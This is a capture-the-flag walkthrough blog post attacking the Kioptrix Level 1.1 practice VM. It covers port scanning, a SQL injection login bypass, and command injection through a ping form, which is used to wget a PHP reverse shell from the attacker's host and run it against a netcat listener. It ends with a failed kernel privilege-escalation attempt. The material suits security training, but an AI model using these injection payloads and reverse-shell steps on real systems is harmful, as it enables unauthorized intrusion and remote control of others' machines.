Kioptrix: Level 1.1 (#2) Walkthrough

Intro

In this post, I will continue hacking on the Kioptrix series of VMs. In the last post, I covered Kioptrix1. In this post, I will be working my way through Kioptrix1.1, which is the second VM in the series. The VulnHub page for the challenge states that, "[the] first release had a bug in it with the web application," so I have opted to hack on the updated version. While a major part these challenges is to find and exploit bugs, I don't want to be fighting unintentional bugs in the challenge VM.

I have downloaded and booted the VM on a local network. Let's begin.

Pre-Hack

Where you at?

First, we need to identify what address the VM grabbed from DHCP:

root@kali:~# nmap -T4 -sn 172.16.2.0/24

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 19:15 PDT
Nmap scan report for 172.16.2.1
Host is up (0.00016s latency).
MAC Address: 00:50:56:C0:00:02 (VMware)
Nmap scan report for 172.16.2.131
Host is up (0.00016s latency).
MAC Address: 00:0C:29:AF:63:7A (VMware)
Nmap scan report for 172.16.2.254
Host is up (0.000086s latency).
MAC Address: 00:50:56:F5:96:F6 (VMware)
Nmap scan report for 172.16.2.129
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 12.97 seconds

Looks like my Kioptrix1.1 VM is 172.16.2.131.

Whatcha got?

Now, let's see what this box is running.

root@kali:~# nmap -T4 -Pn -sV -O -p- 172.16.2.131

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 19:20 PDT
Nmap scan report for 172.16.2.131
Host is up (0.00032s latency).
Not shown: 65528 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
111/tcp  open  rpcbind  2 (RPC #100000)
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp  open  ipp      CUPS 1.1
774/tcp  open  status   1 (RPC #100024)
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 00:0C:29:AF:63:7A (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.93 seconds

But wait, we can't forget about UDP! Some easy exploits have surely been missed in the past by neglecting to scan UDP.

root@kali:~# nmap -T4 -Pn -sU --top-ports 200 -sV -O 172.16.2.131

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 19:25 PDT
Warning: 172.16.2.131 giving up on port because retransmission cap hit (6).
Nmap scan report for 172.16.2.131
Host is up (0.00033s latency).
Not shown: 177 closed ports
PORT      STATE         SERVICE           VERSION
42/udp    open|filtered nameserver
68/udp    open|filtered dhcpc
80/udp    open|filtered http
88/udp    open|filtered kerberos-sec
111/udp   open          rpcbind           2 (RPC #100000)
136/udp   open|filtered profile
497/udp   open|filtered retrospect
514/udp   open|filtered syslog
515/udp   open|filtered printer
520/udp   open|filtered route
631/udp   open|filtered ipp
800/udp   open|filtered mdbs_daemon
1034/udp  open|filtered activesync-notify
2002/udp  open|filtered globe
5632/udp  open|filtered pcanywherestat
6001/udp  open|filtered X11:1
32768/udp open|filtered omad
32772/udp open|filtered sometimes-rpc8
49168/udp open|filtered unknown
49186/udp open|filtered unknown
49190/udp open|filtered unknown
49192/udp open|filtered unknown
49200/udp open|filtered unknown
MAC Address: 00:0C:29:AF:63:7A (VMware)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 283.99 seconds

Great, so looks like another Linux box (which we already knew from watching the boot process). The machine is running old versions of both OpenSSH and Apache. It also has MySQL and the service is exposed over the network. A few RPC ports and a printing service are also exposed.

Digging Deeper

Let's scan and enumerate a bit more before we start attempting to exploit anything.

First, let's see what else we can find out about Apache on 80/tcp and 443/tcp. To do this, I'll throw my favorite HTTP and SSL/TLS nmap scripts at the box's web ports.

Apache HTTP/S Enumeration

root@kali:~# nmap -T4 -Pn -p 80,443 --script=http-apache-negotiation.nse,http-apache-server-status.nse,http-backup-finder.nse,http-coldfusion-subzero.nse,http-comments-displayer.nse,http-config-backup.nse,http-csrf.nse,http-default-accounts.nse,http-devframework.nse,http-dombased-xss.nse,http-drupal-enum.nse,http-drupal-enum-users.nse,http-enum.nse,http-git.nse,http-headers.nse,http-iis-short-name-brute.nse,http-iis-webdav-vuln.nse,http-mcmp.nse,http-methods.nse,http-method-tamper.nse,http-mobileversion-checker.nse,http-open-proxy.nse,http-open-redirect.nse,http-passwd.nse,http-phpmyadmin-dir-traversal.nse,http-phpself-xss.nse,http-php-version.nse,http-proxy-brute.nse,http-robots.txt.nse,http-shellshock.nse,http-sitemap-generator.nse,http-sql-injection.nse,http-stored-xss.nse,http-title.nse,http-unsafe-output-escaping.nse,http-userdir-enum.nse,http-vhosts.nse,http-vuln-cve2006-3392.nse,http-vuln-cve2009-3960.nse,http-vuln-cve2010-0738.nse,http-vuln-cve2010-2861.nse,http-vuln-cve2011-3192.nse,http-vuln-cve2011-3368.nse,http-vuln-cve2012-1823.nse,http-vuln-cve2013-0156.nse,http-vuln-cve2013-6786.nse,http-vuln-cve2013-7091.nse,http-vuln-cve2014-2126.nse,http-vuln-cve2014-2127.nse,http-vuln-cve2014-2128.nse,http-vuln-cve2014-2129.nse,http-vuln-cve2014-3704.nse,http-vuln-cve2014-8877.nse,http-vuln-cve2015-1427.nse,http-vuln-cve2015-1635.nse,http-waf-detect.nse,http-waf-fingerprint.nse,http-webdav-scan.nse,http-wordpress-enum.nse,http-wordpress-users.nse,http-xssed.nse,membase-http-info.nse,rmi-vuln-classloader.nse,ssl-ccs-injection.nse,ssl-cert.nse,ssl-date.nse,ssl-dh-params.nse,ssl-enum-ciphers.nse,ssl-google-cert-catalog.nse,ssl-heartbleed.nse,ssl-known-key.nse,ssl-poodle.nse,sslv2-drown.nse,sslv2.nse,tls-nextprotoneg.nse 172.16.2.131

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 19:34 PDT
Nmap scan report for 172.16.2.131
Host is up (0.00024s latency).
PORT    STATE SERVICE
80/tcp  open  http
| http-comments-displayer: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.16.2.131
|     
|     Path: http://172.16.2.131/index.php
|     Line number: 28
|     Comment: 
|_        <!-- Start of HTML when logged in as Administator -->
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.16.2.131
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://172.16.2.131:80/
|     Form id: frmlogin
|     Form action: index.php
|     
|     Path: http://172.16.2.131/index.php
|     Form id: frmlogin
|_    Form action: index.php
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /icons/: Potentially interesting directory w/ listing on 'apache/2.0.52 (centos)'
|_  /manual/: Potentially interesting folder
| http-headers: 
|   Date: Fri, 18 Aug 2017 01:28:21 GMT
|   Server: Apache/2.0.52 (CentOS)
|   X-Powered-By: PHP/4.3.9
|   Connection: close
|   Content-Type: text/html; charset=UTF-8
|   
|_  (Request type: HEAD)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-mobileversion-checker: No mobile version detected.
| http-php-version: Versions from credits query (more accurate): 4.3.9 - 4.3.11
|_Version from header x-powered-by: PHP/4.3.9
| http-sitemap-generator: 
|   Directory structure:
|     /
|       Other: 1; php: 1
|   Longest directory structure:
|     Depth: 0
|     Dir: /
|   Total files found (by extension):
|_    Other: 1; php: 1
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-vhosts: 
|_127 names had status 200
|_http-xssed: No previously reported XSS vuln.
443/tcp open  https
| http-comments-displayer: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.16.2.131
|     
|     Path: https://172.16.2.131/index.php
|     Line number: 28
|     Comment: 
|_        <!-- Start of HTML when logged in as Administator -->
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.16.2.131
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: https://172.16.2.131:443/
|     Form id: frmlogin
|     Form action: index.php
|     
|     Path: https://172.16.2.131/index.php
|     Form id: frmlogin
|_    Form action: index.php
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /icons/: Potentially interesting directory w/ listing on 'apache/2.0.52 (centos)'
|_  /manual/: Potentially interesting folder
| http-headers: 
|   Date: Fri, 18 Aug 2017 01:28:22 GMT
|   Server: Apache/2.0.52 (CentOS)
|   X-Powered-By: PHP/4.3.9
|   Connection: close
|   Content-Type: text/html; charset=UTF-8
|   
|_  (Request type: HEAD)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-mobileversion-checker: No mobile version detected.
| http-php-version: Versions from credits query (more accurate): 4.3.9 - 4.3.11
|_Version from header x-powered-by: PHP/4.3.9
| http-sitemap-generator: 
|   Directory structure:
|     /
|       Other: 1; php: 1
|   Longest directory structure:
|     Depth: 0
|     Dir: /
|   Total files found (by extension):
|_    Other: 1; php: 1
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-title: 416 Requested Range Not Satisfiable
| http-vhosts: 
|_127 names had status 200
| http-waf-detect: IDS/IPS/WAF detected:
|_172.16.2.131:443/?p4yl04d3=<script>alert(document.cookie)</script>
|_http-xssed: No previously reported XSS vuln.
| ssl-ccs-injection: 
|   VULNERABLE:
|   SSL/TLS MITM vulnerability (CCS Injection)
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
|       does not properly restrict processing of ChangeCipherSpec messages,
|       which allows man-in-the-middle attackers to trigger use of a zero
|       length master key in certain OpenSSL-to-OpenSSL communications, and
|       consequently hijack sessions or obtain sensitive information, via
|       a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|           
|     References:
|       http://www.cvedetails.com/cve/2014-0224
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
|_      http://www.openssl.org/news/secadv_20140605.txt
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Public Key type: rsa
| Public Key bits: 1024.0
| Signature Algorithm: md5WithRSAEncryption
| Not valid before: 2009-10-08T00:10:47
| Not valid after:  2010-10-08T00:10:47
| MD5:   01de 29f9 fbfb 2eb2 beaf e624 3157 090f
|_SHA-1: 560c 9196 6506 fb0f fb81 66b1 ded3 ac11 2ed4 808a
|_ssl-date: 2017-08-18T01:28:19+00:00; +3d22h53m44s from scanner time.
| ssl-dh-params: 
|   VULNERABLE:
|   Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2015-4000  OSVDB:122331
|       The Transport Layer Security (TLS) protocol contains a flaw that is
|       triggered when handling Diffie-Hellman key exchanges defined with
|       the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker
|       to downgrade the security of a TLS session to 512-bit export-grade
|       cryptography, which is significantly weaker, allowing the attacker
|       to more easily break the encryption and monitor or tamper with
|       the encrypted stream.
|     Disclosure date: 2015-5-19
|     Check results:
|       EXPORT-GRADE DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: mod_ssl 2.0.x/512-bit MODP group with safe prime modulus
|             Modulus Length: 512
|             Generator Length: 8
|             Public Key Length: 512
|     References:
|       http://osvdb.org/122331
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
|       https://weakdh.org
|   
|   Diffie-Hellman Key Exchange Insufficient Group Strength
|     State: VULNERABLE
|       Transport Layer Security (TLS) services that use Diffie-Hellman groups
|       of insufficient strength, especially those using one of a few commonly
|       shared groups, may be susceptible to passive eavesdropping attacks.
|     Check results:
|       WEAK DH GROUP 1
|             Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
|             Modulus Type: Safe prime
|             Modulus Source: mod_ssl 2.0.x/1024-bit MODP group with safe prime modulus
|             Modulus Length: 1024
|             Generator Length: 8
|             Public Key Length: 1024
|     References:
|_      https://weakdh.org
| ssl-enum-ciphers: 
|   SSLv3: 
|     ciphers: 
|       TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA - E
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_DES_CBC_SHA (dh 1024) - F
|       TLS_RSA_EXPORT_WITH_DES40_CBC_SHA - E
|       TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 - E
|       TLS_RSA_EXPORT_WITH_RC4_40_MD5 - E
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - F
|       TLS_RSA_WITH_AES_128_CBC_SHA - F
|       TLS_RSA_WITH_AES_256_CBC_SHA - F
|       TLS_RSA_WITH_DES_CBC_SHA - F
|       TLS_RSA_WITH_RC4_128_MD5 - F
|       TLS_RSA_WITH_RC4_128_SHA - F
|     compressors: 
|       NULL
|     cipher preference: client
|     warnings: 
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       64-bit block cipher DES vulnerable to SWEET32 attack
|       64-bit block cipher DES40 vulnerable to SWEET32 attack
|       64-bit block cipher RC2 vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|       CBC-mode cipher in SSLv3 (CVE-2014-3566)
|       Ciphersuite uses MD5 for message integrity
|       Insecure certificate signature: MD5
|   TLSv1.0: 
|     ciphers: 
|       TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA - E
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 1024) - F
|       TLS_DHE_RSA_WITH_DES_CBC_SHA (dh 1024) - F
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA - F
|       TLS_RSA_WITH_AES_128_CBC_SHA - F
|       TLS_RSA_WITH_AES_256_CBC_SHA - F
|       TLS_RSA_WITH_DES_CBC_SHA - F
|       TLS_RSA_WITH_RC4_128_MD5 - F
|       TLS_RSA_WITH_RC4_128_SHA - F
|     compressors: 
|       NULL
|     cipher preference: client
|     warnings: 
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       64-bit block cipher DES vulnerable to SWEET32 attack
|       64-bit block cipher DES40 vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|       Ciphersuite uses MD5 for message integrity
|       Insecure certificate signature: MD5
|_  least strength: F
| ssl-google-cert-catalog: 
|_  No DB entry
| ssl-poodle: 
|   VULNERABLE:
|   SSL POODLE information leak
|     State: VULNERABLE
|     IDs:  CVE:CVE-2014-3566  OSVDB:113251
|           The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|           products, uses nondeterministic CBC padding, which makes it easier
|           for man-in-the-middle attackers to obtain cleartext data via a
|           padding-oracle attack, aka the "POODLE" issue.
|     Disclosure date: 2014-10-14
|     Check results:
|       TLS_RSA_WITH_AES_128_CBC_SHA
|     References:
|       http://osvdb.org/113251
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
|       https://www.openssl.org/~bodo/ssl-poodle.pdf
|_      https://www.imperialviolet.org/2014/10/14/poodle.html
| sslv2: 
|   SSLv2 supported
|   ciphers: 
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|_    SSL2_RC2_128_CBC_WITH_MD5
| sslv2-drown: 
|   ciphers: 
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|   vulns: 
|     CVE-2016-0703: 
|       title: OpenSSL: Divide-and-conquer session key recovery in SSLv2
|       state: VULNERABLE
|       ids: 
|         CVE:CVE-2016-0703
|       description: 
|               The get_client_master_key function in s2_srvr.c in the SSLv2 implementation in
|       OpenSSL before 0.9.8zf, 1.0.0 before 1.0.0r, 1.0.1 before 1.0.1m, and 1.0.2 before
|       1.0.2a accepts a nonzero CLIENT-MASTER-KEY CLEAR-KEY-LENGTH value for an arbitrary
|       cipher, which allows man-in-the-middle attackers to determine the MASTER-KEY value
|       and decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding oracle, a
|       related issue to CVE-2016-0800.
|     
|       refs: 
|         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0703
|         https://www.openssl.org/news/secadv/20160301.txt
|     CVE-2016-0800: 
|       title: OpenSSL: Cross-protocol attack on TLS using SSLv2 (DROWN)
|       state: VULNERABLE
|       ids: 
|         CVE:CVE-2016-0800
|       description: 
|               The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and
|       other products, requires a server to send a ServerVerify message before establishing
|       that a client possesses certain plaintext RSA data, which makes it easier for remote
|       attackers to decrypt TLS ciphertext data by leveraging a Bleichenbacher RSA padding
|       oracle, aka a "DROWN" attack.
|     
|       refs: 
|         https://www.openssl.org/news/secadv/20160301.txt
|_        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0800
MAC Address: 00:0C:29:AF:63:7A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 67.70 seconds

So admittedly, I kind of threw the "kitchen sink" at these services so a lot of what I got back is not relevant here. For example, getting SSL MiTM or CSRF is not going to help us get root on the box in this case. At any rate, I like running my full list of enumeration scripts for each service as it gives me a good overall feel for what is running and the state of the service. For this challenge, we can simply ignore the noise.

What does stand out on this service are some URLs to check out, an interesting comment in the source to investigate further, an outdated PHP version, and a WAF supposedly being detected. We will circle back to these items in a bit. At this point, I would usually also start a directory brute force, but I'm going to hold off for now unless none of the above pan out.

RPC Enumeration

Working my way down the services list, let's next see what we can find out about / from the RPC services. I'll once again turn to nmap scripts.

root@kali:~# nmap -T4 -Pn -p 111,774 -sV --script=msrpc-enum.nse,rpc-grind.nse,rpcinfo.nse 172.16.2.131

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 20:04 PDT
Nmap scan report for 172.16.2.131
Host is up (0.00021s latency).
PORT    STATE SERVICE VERSION
111/tcp open  rpcbind 2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1            771/udp  status
|_  100024  1            774/tcp  status
774/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:AF:63:7A (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.18 seconds
root@kali:~# nmap -T4 -Pn -sU -p 111 --script=msrpc-enum.nse,rpc-grind.nse,rpcinfo.nse 172.16.2.131

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 20:09 PDT
Nmap scan report for 172.16.2.131
Host is up (0.00022s latency).
PORT    STATE SERVICE
111/udp open  rpcbind
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100024  1            771/udp  status
|_  100024  1            774/tcp  status
MAC Address: 00:0C:29:AF:63:7A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 5.88 seconds

Well, there's not a whole lot to see there. We'll leave this service alone for now.

MySQL Enumeration

Finally, let's see what we can find out about the MySQL instance running on 3306/tcp. How will we learn about this service, you ask? Why more nmap script scanning of course!

root@kali:~# nmap -T4 -Pn -p 3306 --script=mysql-info.nse,mysql-enum.nse,mysql-audit.nse,mysql-users.nse,mysql-empty-password.nse,mysql-vuln-cve2012-2122.nse 172.16.2.131

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-08-13 20:11 PDT
Nmap scan report for 172.16.2.131
Host is up (0.00023s latency).
PORT     STATE SERVICE
3306/tcp open  mysql
|_mysql-empty-password: Host '172.16.2.129' is not allowed to connect to this MySQL server
| mysql-enum: 
|   Accounts: No valid accounts found
|_  Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:AF:63:7A (VMware)

The database doesn't seem to be giving up it's secrets that easily. Not a whole lot learned here. We can circle back if we hit a wall further down.

Game Time

Man, all that scanning made me hungry. I can't wait to eat some rootshellz. Judging by the enumeration we just did, it seems like this is intended to be a web challenge. Let's go poke at it.

Apache

We learned from our scanning above that Apache is running on ports 80/tcp and 443/tcp and we have a handful of things to go check out. Since this is just one web web property, we'll go start at this manually in a browser. If we had a larger scope, we would definitely want to script a few more things before we proceeded — things like like screenshots of the identified URLs, source downloads, and URL spidering.

To check things out, we'll proxy FireFox through Burp and turn off intercept for now. When we browse to out target at http://172.16.2.131, we are greeted with a simple looking login form:

Browsing to https://172.16.2.131 simply loads an HTTPS version of the same login form.

When we view the source, we see that the interesting comment we saw in the nmap output is actually nothing to get excited about, it was just a place holder and not actually marking anything sensitive.

<html>
<body>
<form method="post" name="frmLogin" id="frmLogin" action="index.php">
  <table width="300" border="1" align="center" cellpadding="2" cellspacing="2">
    <tr>
      <td colspan='2' align='center'>
      <b>Remote System Administration Login</b>
      </td>
    </tr>
    <tr>
      <td width="150">Username</td>
      <td><input name="uname" type="text"></td>
    </tr>
    <tr>
      <td width="150">Password</td>
      <td>
      <input name="psw" type="password">
      </td>
    </tr>
    <tr>
      <td colspan="2" align="center">
      <input type="submit" name="btnLogin" value="Login">
      </td>
    </tr>
  </table>
</form>

<!-- Start of HTML when logged in as Administator -->
</body>
</html>

A few things cross my mind at this point: I can guess some easy passwords (à la admin:admin), I can run a full on, scripted, brute-force password guessing attack, or I can try to find a SQL injection. Alternatively, I could just to a brute-force directory scan and see if I can find any other URLs to poke at.

Password Guessing

I think we should try a few quick guesses and then go for SQLi. Let guess:

  • blank:blank - Nope
  • admin:blank - Nope
  • admin:admin - Nope
  • admin:password - Nope
  • admin:pass - Nope
  • admin:123456
  • admin:qwerty
  • Tried all those with root as the user - Nope

Okay, with all of those out of the way and unsuccessful, let's move on to attempting SQLi. If we want to guess more passwords later, we can fire up a full-on brute force.

SQL Injection

We know from our intercepting proxy that the posted login data looks like this:
uname=admin&psw=123456&btnLogin=Login

We also know the backend is running PHP and MySQL. Thus, it is possible the backend authentication routine does a lookup similar to:
SELECT * FROM Users WHERE Username='$uname' AND Password='$psw'

Working off of this first hunch, what if we submit something like ' OR 1=1#? If our assumption about the back end code is correct, this will result in something like this:
SELECT * FROM Users WHERE Username='admin' AND Password='' OR 1=1#'

Let's see if this works...

Awesome our hunch was correct, we successfully bypassed authentication.

Command Injection

Testing out the "Ping a Machine on the Network" functionality, it looks like the ip parameter posted to /pingit.php, is simply passed to the system's ping command (ping -c3 ip).

The request:

POST /pingit.php HTTP/1.1
Host: 172.16.2.131
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.2.131/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Connection: close
Upgrade-Insecure-Requests: 1

ip=127.0.0.1&submit=submit

and the response:

Let's think about how the backend for this functionality might work, like we did above for the SQL statement. It is reasonable to assume that the ping command is being called from PHP with something like this: shell-output = exec('ping -c3 $ip'); where $ip is taken directly from the posted value and not sanitized at all.

Let's see what we can sneak in to that $ip parameter.
The request:

which looks like this in Burp:

POST /pingit.php HTTP/1.1
Host: 172.16.2.131
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.2.131/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Connection: close
Upgrade-Insecure-Requests: 1

ip=127.0.0.1%3B+id&submit=submit

Results in:

Notice the last line of output; It's clear we are able to run arbitrary commands as the apache user!

Shelling Out

To make things easier, let's get ourselves a better shell. I first attempted to use netcat, but it is not installed on the target. We know PHP is installed, so let's leverage that for a shell.

We first need to modify the shell with our listener information:

root@kali:~# cp /usr/share/webshells/php/php-reverse-shell.php .
root@kali:~# cat /usr/share/webshells/php/php-reverse-shell.php | grep "CHANGE THIS"
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
root@kali:~# sed -i "s#$ip = '127.0.0.1';  // CHANGE THIS#$ip = '172.16.2.129';#" php-reverse-shell.php
root@kali:~# sed -i "s#$port = 1234;       // CHANGE THIS#$port = 1337;#" php-reverse-shell.php
root@kali:~# cat php-reverse-shell.php | grep -e ^\$ip -e ^\$port
$ip = '172.16.2.129';
$port = 1337;

Next, we need to serve up the shell from our Kali box and then download it to the target somewhere the apache user can write:

root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
172.16.2.131 - - [14/Aug/2017 00:28:43] "GET /php-reverse-shell.php HTTP/1.0" 200 -

Issuing the wget command via the identified injection: 127.0.0.1; wget -O /tmp/php-reverse-shell.php http://172.16.2.129:8000/php-reverse-shell.php

POST /pingit.php HTTP/1.1
Host: 172.16.2.131
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.2.131/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Connection: close
Upgrade-Insecure-Requests: 1

ip=127.0.0.1%3B+wget+-O+%2Ftmp%2Fphp-reverse-shell.php+http%3A%2F%2F172.16.2.129%3A8000%2Fphp-reverse-shell.php&submit=submit

Set up our listener on our Kali box:

root@kali:~# nc -nnvvlp 1337
listening on [any] 1337 ...

Finally, we can execute our shell via the command injection: 127.0.0.1; php /tmp/php-reverse-shell.php

POST /pingit.php HTTP/1.1
Host: 172.16.2.131
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://172.16.2.131/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Connection: close
Upgrade-Insecure-Requests: 1

ip=127.0.0.1%3B+php+%2Ftmp%2Fphp-reverse-shell.php&submit=submit

And voilà, a usable reverse shell:

root@kali:~# nc -nnvvlp 1337
listening on [any] 1337 ...
connect to [172.16.2.129] from (UNKNOWN) [172.16.2.131] 32792
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
 02:29:01 up  5:23,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-3.00$

Privilege Escalation

We are now staring at an apache user shell, but what we really want is a root shell. Before I run my full Linux enumeration script, let's see if we can get an easy win — do we have a vulnerable kernel?

sh-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

Googling for the kernel version shows a promising result:

root@kali:~# searchsploit linux 2.6 | grep 9542
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Cor | ./linux/local/9542.c

Let's download it to our target:

root@kali:~# cp /usr/share/exploitdb/platforms/linux/local/9542.c .
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
sh-3.00$ wget -O /tmp/9542.c http://172.16.2.129:8000/9542.c
--23:19:38--  http://172.16.2.129:8000/9542.c
           => `/tmp/9542.c'
Connecting to 172.16.2.129:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,645 (2.6K) [text/plain]

    0K ..                                                    100%  210.21 MB/s

23:19:38 (210.21 MB/s) - `/tmp/9542.c' saved [2645/2645]

Compile and execute it:

sh-3.00$ gcc -o /tmp/9542 /tmp/9542.c
sh-3.00$ chmod +x /tmp/9542
sh-3.00$ /tmp/9542
[-] exploit failed, try again

Hmm, all of my expectations, the 'ip_append_data()' Ring0 Privilege Escalation exploit failed on this box. At this point, I am unsure why the exploit was unsuccessful, but I am going to move on. In a future post, I plan to dissect this exploit and the associated vulnerability and try to understand why this did not work.

Privilege Escalation - Take 2

